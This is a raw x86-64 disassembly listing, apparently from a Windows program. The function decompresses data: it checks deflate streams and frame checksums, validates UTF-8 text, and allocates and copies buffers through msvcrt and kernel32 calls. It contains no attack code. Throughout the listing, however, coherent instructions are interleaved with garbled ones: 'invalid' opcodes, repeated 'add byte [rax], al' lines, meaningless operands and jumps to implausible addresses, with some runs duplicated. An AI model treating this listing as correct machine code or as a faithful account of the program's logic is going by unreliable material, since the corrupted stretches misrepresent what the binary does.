mov qword [rsp + 0x5e8], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x5f0], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0x5f8], rdi
movq qword [rsp + 0x90], xmm0
mov edx, dword [rsp + 0x58]
mov ebx, dword [rsp + 0xd8]
mov r10, qword [rsp + 0xa8]
xor r13d, r13d
jmp 0x1400c59cf
mov esi, 1
movzx r13d, byte [rsp + 0x7f]
movdqa xmm15, xmmword [rsp + 0x770]
movdqa xmm11, xmmword [rsp + 0x760]
mov edi, dword [rsp + 0x1a8]
mov ebx, dword [rsp + 0xd8]
jmp 0x1400c57be
mov esi, 1
mov rcx, rsi
mov rdx, r14
mov r8, rbp
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x820], rsi
mov qword [rsp + 0x828], rbp
mov qword [rsp + 0x830], rbp
lea rcx, [rsp + 0x820]
call fcn.1400fcfc0
mov r14, rax
mov rcx, qword [rsp + 0x118]
call fcn.140171670
cmp qword [rsp + 0xe8], 0
je 0x1400c5822
mov rcx, qword [0x1401ee100]
xor edx, edx
mov r8, qword [rsp + 0xa8]
call fcn.140104a84
cmp byte [rsp + 0x68], 2
jb 0x1400c586c
mov rcx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x120]
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x1400c586c
mov rax, qword [rsp + 0x120]
cmp qword [rax + 0x10], 0x11
jae 0x1400c5855
mov r8, qword [rsp + 0x60]
jmp 0x1400c585e
mov r8, qword [rsp + 0x60]
mov r8, qword [r8 - 8]
mov rcx, qword [0x1401ee100]
xor edx, edx
call fcn.140104a84
test r15d, r15d
jne case.0x1400c627f.0
movdqa xmm13, xmm10
movdqa xmm9, xmm8
mov rax, qword [rsp + 0x600]
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x608]
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x610]
mov qword [rsp + 0x188], rax
mov rax, qword [rsp + 0x618]
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x620]
mov qword [rsp + 0x198], rax
mov eax, dword [rsp + 0x2e8]
mov qword [rsp + 0x178], rax
mov r11, qword [rsp + 0x628]
mov rax, qword [rsp + 0x630]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x638]
mov qword [rsp + 0x150], rax
mov rsi, qword [rsp + 0x640]
mov r15d, edi
mov byte [rsp + 0xf8], r13b
mov eax, dword [rsp + 0x2ec]
mov dword [rsp + 0xd0], eax
mov rax, qword [rsp + 0x648]
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0x650]
mov qword [rsp + 0xe0], rax
mov ebp, dword [rsp + 0x2f0]
movzx eax, byte [rsp + 0x56]
mov byte [rsp + 0xb8], al
mov eax, dword [rsp + 0x2f4]
mov dword [rsp + 0xc0], eax
mov rax, qword [rsp + 0x658]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x660]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x668]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x670]
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x678]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x680]
mov qword [rsp + 0xe8], rax
mov r10, r14
mov r13b, 2
mov edx, dword [rsp + 0x58]
movzx eax, byte [rsp + 0x1d4]
mov byte [rsp + 0x824], al
mov eax, dword [rsp + 0x1d0]
mov dword [rsp + 0x820], eax
mov rax, qword [0x1401ee108]
test rax, rax
je 0x1400c70a3
xor ecx, ecx
mov qword [rsp + 0xa8], rcx
test al, 2
je 0x1400c5a28
mov rax, qword [0x1401ee108]
test rax, rax
je 0x1400c716c
shr eax, 0xa
and eax, 1
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0x1b8], r13
movzx eax, byte [rsp + 0xd7]
movzx ecx, byte [rsp + 0xd6]
shl rcx, 8
or rcx, rax
mov rax, qword [rsp + 0x5f8]
shl rax, 0x10
or rax, rcx
mov qword [rsp + 0x120], rax
mov eax, r10d
shr eax, 8
mov qword [rsp + 0xd8], rax
mov rdi, r10
shr rdi, 0x10
mov rcx, qword [rsp + 0x5f0]
mov rax, rcx
shr rax, 0x20
mov qword [rsp + 0x100], rax
mov r13, rcx
shr r13, 0x28
movzx eax, byte [rsp + 0x824]
mov byte [rsp + 0x1d4], al
mov eax, dword [rsp + 0x820]
mov dword [rsp + 0x1d0], eax
mov r14d, 5
xor r9d, r9d
mov eax, ebx
mov byte [rsp + 0x57], bl
mov dword [rsp + 0x174], edx
movzx eax, byte [rsp + 0xd5]
mov ebx, eax
mov r8d, dword [rsp + 0x2e4]
mov eax, ecx
mov dword [rsp + 0x160], ecx
mov rax, qword [rsp + 0x5e8]
mov qword [rsp + 0x168], rax
xor eax, eax
mov qword [rsp + 0x1c0], rax
movzx eax, byte [rsp + 0xb8]
mov byte [rsp + 0x56], al
movdqa xmm10, xmm13
movdqa xmm8, xmm9
movdqa xmmword [rsp + 0x770], xmm15
movdqa xmmword [rsp + 0x760], xmm11
movzx eax, byte [rsp + 0xf8]
mov byte [rsp + 0x7f], al
xor eax, eax
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x680], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x678], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x670], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x668], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x660], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x658], rax
mov eax, dword [rsp + 0xc0]
mov dword [rsp + 0x2f4], eax
mov dword [rsp + 0x2f0], ebp
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x650], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x648], rax
mov eax, dword [rsp + 0xd0]
mov dword [rsp + 0x2ec], eax
mov dword [rsp + 0x1a8], r15d
mov qword [rsp + 0x130], rsi
mov qword [rsp + 0x640], rsi
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x638], rax
mov rdx, qword [rsp + 0x90]
mov qword [rsp + 0x630], rdx
mov qword [rsp + 0x628], r11
mov rax, qword [rsp + 0x178]
mov dword [rsp + 0x2e8], eax
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x620], rax
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x618], rax
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0x610], rax
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x608], rax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x600], rax
mov rax, qword [rsp + 0x2f8]
cmp rax, 4
ja case.default.0x1400c5c98
lea rcx, [0x140187b9c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp byte [rsp + 0x310], 2
jb case.0x1400c5c98.0
mov rcx, qword [rsp + 0x330]
mov rsi, qword [rsp + 0x338]
mov qword [rsp + 0x88], rcx
mov dword [rsp + 0x58], r8d
mov qword [rsp + 0x60], r9
mov qword [rsp + 0x68], r10
mov qword [rsp + 0x70], r11
mov qword [rsp + 0x90], rdx
add byte [rax], al
add bh, bh
invalid
mov rdx, qword [rsp + 0x90]
mov r11, qword [rsp + 0x70]
mov r10, qword [rsp + 0x68]
mov r9, qword [rsp + 0x60]
mov r8d, dword [rsp + 0x58]
cmp qword [rsi + 8], 0
je case.0x1400c5c98.0
add byte [rax], al
add bh, bh
invalid
cmp qword [rsi + 0x10], 0x11
jae 0x1400c5e8d
mov r8, qword [rsp + 0x88]
jmp 0x1400c5f42
mov qword [rsp + 0x90], rdx
mov qword [rsp + 0x70], r11
mov qword [rsp + 0x68], r10
mov qword [rsp + 0x60], r9
mov dword [rsp + 0x58], r8d
cmp qword [rsp + 0x318], 0
je 0x1400c5d5a
mov r8, qword [rsp + 0x310]
mov rcx, qword [0x1401ee100]
xor edx, edx
call fcn.140104a84
cmp byte [rsp + 0x338], 2
jb 0x1400c5eb8
mov rcx, qword [rsp + 0x358]
mov rsi, qword [rsp + 0x360]
mov qword [rsp + 0x88], rcx
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x1400c5eb8
cmp qword [rsi + 0x10], 0x11
jae 0x1400c5e9e
mov r8, qword [rsp + 0x88]
jmp 0x1400c5eaa
mov qword [rsp + 0x90], rdx
mov qword [rsp + 0x70], r11
mov qword [rsp + 0x68], r10
mov qword [rsp + 0x60], r9
mov dword [rsp + 0x58], r8d
cmp qword [rsp + 0x318], 0
je 0x1400c5de2
mov r8, qword [rsp + 0x310]
mov rcx, qword [0x1401ee100]
xor edx, edx
call fcn.140104a84
cmp byte [rsp + 0x338], 2
jb 0x1400c5ef0
add cl, byte [rdi]
invalid
mov rcx, qword [rsp + 0x358]
mov rsi, qword [rsp + 0x360]
mov qword [rsp + 0x88], rcx
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x1400c5ef0
cmp qword [rsi + 0x10], 0x11
jae 0x1400c5ed6
mov r8, qword [rsp + 0x88]
jmp 0x1400c5ee2
mov qword [rsp + 0x90], rdx
mov qword [rsp + 0x70], r11
mov qword [rsp + 0x68], r10
mov qword [rsp + 0x60], r9
mov dword [rsp + 0x58], r8d
cmp byte [rsp + 0x310], 2
jb 0x1400c5f19
mov rcx, qword [rsp + 0x330]
mov rsi, qword [rsp + 0x338]
mov qword [rsp + 0x88], rcx
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x1400c5f19
cmp qword [rsi + 0x10], 0x11
jae 0x1400c5eff
mov r8, qword [rsp + 0x88]
jmp 0x1400c5f0b
mov r8, qword [rsp + 0x88]
mov r8, qword [r8 - 8]
jmp 0x1400c5f42
mov r8, qword [rsp + 0x88]
mov r8, qword [r8 - 8]
mov rcx, qword [0x1401ee100]
xor edx, edx
call fcn.140104a84
mov rsi, qword [rsp + 0x420]
mov rcx, rsi
call fcn.140108300
mov rcx, qword [0x1401ee100]
xor edx, edx
mov r8, rsi
jmp 0x1400c5f4b
mov r8, qword [rsp + 0x88]
mov r8, qword [r8 - 8]
mov rcx, qword [0x1401ee100]
xor edx, edx
call fcn.140104a84
mov rcx, qword [rsp + 0x420]
call fcn.140171670
jmp 0x1400c5f50
mov r8, qword [rsp + 0x88]
mov r8, qword [r8 - 8]
mov rcx, qword [0x1401ee100]
xor edx, edx
call fcn.140104a84
cmp qword [rsp + 0x400], 0
je case.default.0x1400c627f
mov r8, qword [rsp + 0x3f8]
mov rcx, qword [0x1401ee100]
clc
add eax, dword [rax]
add byte [rax - 0x75], cl
or eax, 0x1281cd
xor edx, edx
call fcn.140104a84
mov r8, qword [rsp + 0x418]
mov rcx, qword [0x1401ee100]
or eax, 0x1281b7
xor edx, edx
call fcn.140104a84
mov r8d, dword [rsp + 0x58]
mov r9, qword [rsp + 0x60]
mov r10, qword [rsp + 0x68]
mov r11, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x90]
mov qword [rsp + 0x2f8], r14
mov rax, qword [rsp + 0xa8]
mov dword [rsp + 0x300], eax
mov dword [rsp + 0x304], 0
mov qword [rsp + 0x308], 0
mov byte [rsp + 0x310], r10b
mov rax, qword [rsp + 0xd8]
mov byte [rsp + 0x311], al
mov dword [rsp + 0x312], edi
shr rdi, 0x20
mov word [rsp + 0x316], di
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x318], rax
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x320], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x328], rax
mov qword [rsp + 0x330], r9
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x338], rax
movdqu xmmword [rsp + 0x340], xmm13
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x350], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x358], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x360], rax
movdqu xmmword [rsp + 0x368], xmm9
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x378], rax
mov eax, dword [rsp + 0x160]
mov dword [rsp + 0x380], eax
mov rax, qword [rsp + 0x100]
mov byte [rsp + 0x384], al
mov word [rsp + 0x385], r13w
shr r13d, 0x10
mov byte [rsp + 0x387], r13b
mov rax, qword [rsp + 0x168]
mov qword [rsp + 0x388], rax
movdqu xmmword [rsp + 0x390], xmm15
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x3a0], rax
mov eax, dword [rsp + 0xc0]
mov dword [rsp + 0x3a8], eax
movzx eax, byte [rsp + 0xb8]
mov byte [rsp + 0x3ac], al
mov word [rsp + 0x3ad], bp
shr ebp, 0x10
mov byte [rsp + 0x3af], bpl
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x3b0], rax
movdqu xmmword [rsp + 0x3b8], xmm11
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x3c8], rax
mov eax, dword [rsp + 0xd0]
mov dword [rsp + 0x3d0], eax
movzx eax, byte [rsp + 0xf8]
mov byte [rsp + 0x3d4], al
mov word [rsp + 0x3d5], r15w
shr r15d, 0x10
mov byte [rsp + 0x3d7], r15b
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x3d8], rax
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x3e0], rax
mov qword [rsp + 0x3e8], rdx
mov qword [rsp + 0x3f0], r11
mov dword [rsp + 0x3f8], r8d
mov byte [rsp + 0x3fc], bl
mov rax, qword [rsp + 0x178]
mov word [rsp + 0x3fd], ax
shr eax, 0x10
mov byte [rsp + 0x3ff], al
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x400], rax
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x408], rax
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0x410], rax
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x418], rax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x420], rax
mov word [rsp + 0x428], 0
mov rax, qword [rsp + 0x1b8]
mov byte [rsp + 0x42a], al
movzx eax, byte [rsp + 0x1d4]
lea rcx, [rsp + 0x310]
mov byte [rcx + 0x11f], al
mov eax, dword [rsp + 0x1d0]
mov dword [rcx + 0x11b], eax
add byte [rbx + 0x1742484], cl
add byte [rax], al
add byte [rbx + 0x1742484], cl
add byte [rax], al
mov dword [rsp + 0x430], eax
movzx eax, byte [rsp + 0x57]
mov byte [rsp + 0x434], al
movzx eax, word [rsp + 0x820]
mov word [rcx + 0x125], ax
movzx eax, byte [rsp + 0x822]
mov byte [rcx + 0x127], al
lea rbp, [rsp + 0xb100]
lea r13, [rsp + 0x1d0]
lea rcx, [0x140187bb0]
movsxd rax, dword [rcx + r14*4]
add rax, rcx
jmp rax
mov rsi, qword [rsp + 0x310]
test rsi, rsi
je 0x1400c688b
cmp rsi, 0x2000
mov r9d, 0x2000
cmovb r9, rsi
mov rdx, qword [rsp + 0x300]
mov rax, qword [rsp + 0x308]
add byte [rax - 0x73], cl
mov word [rax + riz], fs
or byte [rax], al
add byte [rcx - 0x77], cl
call 0x18824b3c1
cmp dword [rsp + 0x820], 0
add byte [rax - 0x73], cl
mov word [rax + riz], fs
or byte [rax], al
add byte [rcx - 0x77], cl
call 0x18824b3c1
cmp dword [rsp + 0x820], 0
mov r14, qword [rsp + 0x828]
jne 0x1400c6dbc
sub rsi, r14
jb case.0x1400c627f.0
mov qword [rsp + 0x310], rsi
mov rsi, r14
mov rdi, r14
cmp r14, 0x2001
mov eax, 0x2000
cmovb rsi, rax
jb 0x1400c6eaa
jmp case.0x1400c627f.0
mov eax, dword [rsp + 0x430]
cmp eax, dword [rsp + 0x304]
add al, 3
add byte [rax], al
add al, 3
add byte [rax], al
sete bl
cmp byte [rsp + 0x434], 0
setne bpl
movzx eax, byte [rsp + 0x428]
cmp rax, 2
je 0x1400c6354
cmp eax, 1
jne 0x1400c68c4
cmp byte [rsp + 0x42a], 0
je 0x1400c6e0a
mov byte [rsp + 0x428], 2
or bl, bpl
je 0x1400c6d65
xor edi, edi
lea rbp, [rsp + 0xb100]
jmp 0x1400c6e5b
mov esi, dword [rsp + 0x304]
mov r8, rbp
mov ebp, dword [rsp + 0x3f8]
movzx ebx, byte [rsp + 0x3fc]
mov r9d, 0x2000
lea rcx, [rsp + 0x820]
lea rdx, [rsp + 0x310]
call fcn.1400fbbf0
cmp qword [rsp + 0x820], 0
je case.default.0x1400c63d3
mov r14, qword [rsp + 0x828]
mov eax, r14d
and eax, 3
lea rcx, [0x140187bf0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
lea rbp, [rsp + 0xb100]
jmp rax
mov eax, dword [rsp + 0x430]
cmp eax, dword [rsp + 0x304]
sete al
cmp byte [rsp + 0x434], 0
setne bl
or bl, al
mov rsi, qword [rsp + 0x408]
mov r14, qword [rsp + 0x410]
nop word cs:[rax + rax]
cmp rsi, r14
jne 0x1400c6469
mov r8, qword [rsp + 0x3f8]
mov r9, qword [rsp + 0x400]
lea rcx, [rsp + 0x820]
lea rdx, [rsp + 0x310]
call fcn.1400fbbf0
cmp qword [rsp + 0x820], 0
mov r14, qword [rsp + 0x828]
jne 0x1400c6dbc
mov qword [rsp + 0x410], r14
mov qword [rsp + 0x408], 0
xor esi, esi
jmp 0x1400c646f
ja case.0x1400c627f.0
cmp r14, qword [rsp + 0x400]
ja case.0x1400c627f.0
mov rdx, qword [rsp + 0x3f8]
add rdx, rsi
mov r8, r14
sub r8, rsi
sete al
mov r13, qword [rsp + 0x420]
mov r15, qword [rsp + 0x428]
shl al, 2
mov byte [rsp + 0x28], al
mov qword [rsp + 0x20], 0x2000
lea rcx, [rsp + 0x418]
mov r9, rbp
call fcn.1400098f0
mov rdi, qword [rsp + 0x428]
mov rdx, qword [rsp + 0x410]
mov rcx, qword [rsp + 0x420]
sub rcx, r13
add rcx, qword [rsp + 0x408]
cmp rcx, rdx
cmovae rcx, rdx
mov qword [rsp + 0x408], rcx
cmp eax, 2
jne 0x1400c6892
shr rax, 0x20
test al, al
lea r13, [rsp + 0x1d0]
je 0x1400c6514
movzx eax, al
cmp eax, 1
jne 0x1400c6528
cmp r14, rsi
je 0x1400c6528
mov r14, rdx
mov rsi, rcx
cmp rdi, r15
je 0x1400c6410
sub rdi, r15
sete al
not bl
test bl, al
je 0x1400c6e4e
mov r8d, 0x10
mov cl, 0x27
lea rdx, str.Invalid_checksumincomplete_frame
call fcn.1400fc4f0
mov r14, rax
and eax, 3
lea rcx, [0x140187bf0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov eax, dword [rsp + 0x430]
cmp eax, dword [rsp + 0x304]
sete al
cmp byte [rsp + 0x434], 0
setne bl
or bl, al
jmp 0x1400c6593
mov byte [rsp + 0x428], 1
sub rdi, rsi
jne 0x1400c6ddd
cmp byte [rsp + 0x428], 0
je 0x1400c65ab
cmp byte [rsp + 0x429], 0
je 0x1400c6ddb
mov rdi, qword [rsp + 0x310]
mov rax, qword [rsp + 0x320]
mov rcx, qword [rsp + 0x328]
mov r14, rcx
sub r14, rax
jbe 0x1400c65fa
test rdi, rdi
lea r13, [rsp + 0x1d0]
je 0x1400c6dbc
add rdi, rax
cmp byte [rsp + 0x428], 0
jne 0x1400c66a2
mov r15, qword [rsp + 0x420]
jmp 0x1400c675b
mov r15, qword [rsp + 0x318]
mov rcx, qword [rsp + 0x330]
mov r8, r15
sub r8, rcx
lea r13, [rsp + 0x1d0]
jb case.0x1400c627f.0
add rcx, rdi
xor edx, edx
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x820]
lea rdx, [rsp + 0x338]
mov r8, rdi
mov r9, r15
call fcn.1400fbbf0
cmp qword [rsp + 0x820], 0
mov r14, qword [rsp + 0x828]
je 0x1400c666c
test r14, r14
jne 0x1400c6d7c
xor r14d, r14d
lea rbp, [rsp + 0xb100]
jmp 0x1400c6673
cmp r15, r14
cmovbe r15, r14
mov qword [rsp + 0x320], 0
mov qword [rsp + 0x328], r14
mov qword [rsp + 0x330], r15
xor eax, eax
mov rcx, r14
cmp byte [rsp + 0x428], 0
je 0x1400c65ed
cmp byte [rsp + 0x429], 0
je case.0x1400c627f.0
cmp rcx, rax
je 0x1400c6e3c
movzx eax, byte [0x1401ee110]
mov rax, qword [0x1401ee100]
test rax, rax
jne 0x1400c66e1
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je case.0x1400c627f.0
mov qword [0x1401ee100], rax
mov r8d, 0x50
mov rcx, rax
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je case.0x1400c627f.0
mov r15, rax
movdqu xmmword [rax + 0x40], xmm6
movdqu xmmword [rax + 0x30], xmm6
movdqu xmmword [rax + 0x20], xmm6
movdqu xmmword [rax + 0x10], xmm6
movdqu xmmword [rax], xmm6
mov rcx, rax
xor edx, edx
xor r8d, r8d
call fcn.140108380
test eax, eax
jne case.0x1400c627f.0
mov rsi, qword [rsp + 0x420]
mov rcx, rsi
call fcn.140108300
add al, 0
add al, 0
mov rcx, qword [0x1401ee100]
or eax, 0x1279bf
add byte [rcx], dh
ror byte [rcx - 0x77], cl
invalid
xor edx, edx
mov r8, rsi
call fcn.140104a84
mov qword [rsp + 0x420], r15
mov dword [rsp + 0x420], edi
mov dword [rsp + 0x420], edi
add dh, al
test byte [rax + rbp], ah
add al, 0
add byte [rax], al
mov byte [rsp + 0x428], 0
mov r13, qword [r15 + 0xc]
mov rsi, qword [r15 + 0x24]
mov eax, 0xffffffff
cmp r14, rax
cmovb rax, r14
mov qword [r15], rdi
mov dword [r15 + 8], eax
mov qword [r15 + 0x18], rbp
mov dword [r15 + 0x20], 0x2000
mov rcx, r15
call fcn.140107280
add eax, 5
cmp eax, 9
ja case.0x1400c627f.0
invalid
mov dl, 1
lea rcx, [0x140187bc8]
movsxd rax, dword [rcx + rax*4]
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
add eax, ecx
jmp rax
mov cl, 2
jmp 0x1400c67c4
mov cl, 1
jmp 0x1400c67c4
xor eax, eax
xor ecx, ecx
jmp 0x1400c67c6
mov cl, 5
xor eax, eax
jmp 0x1400c67c8
xor eax, eax
xor ecx, ecx
jmp 0x1400c67c8
mov cl, 3
xor eax, eax
xor edx, edx
mov r10, qword [rsp + 0x328]
mov r8, qword [rsp + 0x420]
mov r9, qword [r8 + 0xc]
mov rdi, qword [r8 + 0x24]
mov r8, r9
sub r8, r13
mov r11, qword [rsp + 0x320]
add r11, r8
cmp r11, r10
cmovae r11, r10
mov qword [rsp + 0x320], r11
test dl, dl
je 0x1400c6de7
test al, al
jne 0x1400c6582
cmp rdi, rsi
jne 0x1400c658a
invalid
dec dword [rbp + 0x39]
jmp 0x13d74ed2f
cmp r9, r13
jne 0x1400c658a
cmp r8, r14
jne 0x1400c658a
jmp 0x1400c6f7c
mov cl, 4
mov al, 1
mov dl, 1
jmp 0x1400c67c8
mov rdi, qword [rsp + 0x828]
cmp ebp, esi
je 0x1400c6d9a
test bl, bl
jne 0x1400c6d9a
test rdi, rdi
jne 0x1400c6d9a
mov r8d, 0x10
mov cl, 0x27
lea rdx, str.Invalid_checksumincomplete_frame
call fcn.1400fc4f0
mov r14, rax
and eax, 3
lea rcx, [0x140187bf0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
lea rbp, [rsp + 0xb100]
jmp rax
xor edi, edi
jmp 0x1400c6e9a
mov r8d, 0x16
mov cl, 0x14
lea rdx, str.corrupt_deflate_stream
call fcn.1400fc4f0
mov r14, rax
and eax, 3
lea rcx, [0x140187bf0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
lea r13, [rsp + 0x1d0]
jmp rax
lea rax, str.Invalid_checksumincomplete_frame
mov qword [rsp + 0x688], rax
lea rax, [rsp + 0x690]
movdqu xmmword [rax], xmm6
lea rax, [rsp + 0xb100]
mov qword [rsp + 0x1d0], rax
mov qword [rsp + 0x1d8], 0x2000
mov qword [rsp + 0x1e0], 0
mov rdx, qword [rsp + 0x420]
lea rcx, [rsp + 0x820]
lea r8, [rsp + 0x688]
mov r9, r13
call fcn.1400fc790
cmp qword [rsp + 0x820], 0
mov r14, qword [rsp + 0x828]
jne 0x1400c6db4
test r14, r14
jne 0x1400c695d
mov byte [rsp + 0x42a], 1
cmp byte [rsp + 0x429], 0
je 0x1400c695d
mov byte [rsp + 0x428], 2
mov rdi, qword [rsp + 0x1e0]
mov rax, qword [rsp + 0x320]
mov rcx, qword [rsp + 0x328]
add rax, qword [rsp + 0x698]
cmp rax, rcx
cmovae rax, rcx
mov qword [rsp + 0x320], rax
test rdi, rdi
jne 0x1400c6d9a
movzx edx, byte [rsp + 0x428]
test rdx, rdx
jne 0x1400c70d5
mov r14, rcx
mov rdi, qword [rsp + 0x310]
sub r14, rax
jbe 0x1400c69c7
test rdi, rdi
je 0x1400c6db4
add rdi, rax
jmp 0x1400c6a51
mov r15, qword [rsp + 0x318]
mov rcx, qword [rsp + 0x330]
mov r8, r15
sub r8, rcx
jb case.0x1400c627f.0
add rcx, rdi
xor edx, edx
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x820]
lea rdx, [rsp + 0x338]
mov r8, rdi
mov r9, r15
call fcn.1400fbbf0
cmp qword [rsp + 0x820], 0
mov r14, qword [rsp + 0x828]
je 0x1400c6a29
test r14, r14
jne 0x1400c6d7c
xor r14d, r14d
jmp 0x1400c6a30
cmp r15, r14
cmovbe r15, r14
mov qword [rsp + 0x320], 0
mov qword [rsp + 0x328], r14
mov qword [rsp + 0x330], r15
xor eax, eax
mov rcx, r14
cmp rcx, rax
jne 0x1400c6a74
mov byte [rsp + 0x428], 1
movzx edx, byte [rsp + 0x428]
test rdx, rdx
je 0x1400c69a6
jmp 0x1400c70d5
mov qword [rsp + 0x688], rdi
mov qword [rsp + 0x690], r14
mov qword [rsp + 0x698], 0
lea rax, [rsp + 0xb100]
mov qword [rsp + 0x1d0], rax
mov qword [rsp + 0x1d8], 0x2000
mov qword [rsp + 0x1e0], 0
cmp byte [rsp + 0x42a], 0
je 0x1400c6907
mov rcx, qword [rsp + 0x420]
mov edx, 1
call fcn.140158ac0
mov r15, rax
mov rcx, rax
call fcn.140172fd0
mov edi, eax
test eax, eax
je 0x1400c6d47
mov rcx, r15
call fcn.140171e50
mov r14, rax
mov rcx, rax
call sub.msvcrt.dll_strlen
mov r15, rax
mov rcx, rax
sub rcx, 0xf
mov eax, 0
cmovae rax, rcx
test r15, r15
je 0x1400c6d0c
lea rcx, [r14 + 7]
and rcx, 0xfffffffffffffff8
sub rcx, r14
xor edx, edx
lea r11, [0x1401b5c48]
jmp 0x1400c6b3e
inc rdx
cmp rdx, r15
jae 0x1400c6cbf
movzx r8d, byte [r14 + rdx]
test r8b, r8b
js 0x1400c6b90
mov r8d, ecx
sub r8d, edx
test r8b, 7
jne 0x1400c6b32
jmp 0x1400c6b5a
add rdx, 0x10
cmp rdx, rax
jae 0x1400c6b77
mov r8, qword [r14 + rdx + 8]
or r8, qword [r14 + rdx]
movabs r9, 0x8080808080808080
test r8, r9
je 0x1400c6b56
cmp rdx, r15
jae 0x1400c6b35
cmp byte [r14 + rdx], 0
js 0x1400c6b35
inc rdx
cmp r15, rdx
jne 0x1400c6b7c
jmp 0x1400c6cbf
movzx r9d, byte [r8 + r11]
cmp r9d, 4
je 0x1400c6bb3
cmp r9d, 3
je 0x1400c6be2
cmp r9d, 2
jne case.0x1400c627f.0
inc rdx
jmp 0x1400c6ca6
lea r9, [rdx + 1]
cmp r9, r15
jae case.0x1400c627f.0
movzx r9d, byte [r14 + r9]
cmp r8, 0xf0
je 0x1400c6c15
cmp r8d, 0xf4
jne 0x1400c6c24
cmp r9b, 0x8f
jle 0x1400c6c3c
jmp case.0x1400c627f.0
lea r9, [rdx + 1]
cmp r9, r15
jae case.0x1400c627f.0
movzx r9d, byte [r14 + r9]
cmp r8, 0xe0
je 0x1400c6c71
cmp r8d, 0xed
jne 0x1400c6c80
cmp r9b, 0x9f
jle 0x1400c6ca2
jmp case.0x1400c627f.0
add r9b, 0x70
cmp r9b, 0x30
jb 0x1400c6c3c
jmp case.0x1400c627f.0
add r8b, 0xf
cmp r8b, 2
ja case.0x1400c627f.0
cmp r9b, 0xc0
jge case.0x1400c627f.0
lea r8, [rdx + 2]
cmp r8, r15
jae case.0x1400c627f.0
cmp byte [r14 + r8], 0xbf
jg case.0x1400c627f.0
add rdx, 3
cmp rdx, r15
jae case.0x1400c627f.0
cmp byte [r14 + rdx], 0xc0
jl 0x1400c6b32
and r9b, 0xe0
cmp r9b, 0xa0
je 0x1400c6ca2
jmp case.0x1400c627f.0
lea r10d, [r8 + 0x1f]
cmp r10b, 0xc
jb 0x1400c6c98
and r8b, 0xfe
cmp r8b, 0xee
jne case.0x1400c627f.0
cmp r9b, 0xc0
jge case.0x1400c627f.0
add rdx, 2
cmp rdx, r15
jae case.0x1400c627f.0
cmp byte [r14 + rdx], 0xbf
jle 0x1400c6b32
jmp case.0x1400c627f.0
test r15, r15
je 0x1400c6d0c
mov esi, 1
mov rcx, rsi
mov rdx, r14
mov r8, r15
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x820], rsi
mov qword [rsp + 0x828], r15
mov qword [rsp + 0x830], r15
lea rcx, [rsp + 0x820]
call fcn.1400fcfc0
mov r15, rax
test edi, edi
mov r14d, 0
cmovne r14, r15
test r14, r14
jne 0x1400c6db4
mov byte [rsp + 0x42a], 0
jmp 0x1400c6907
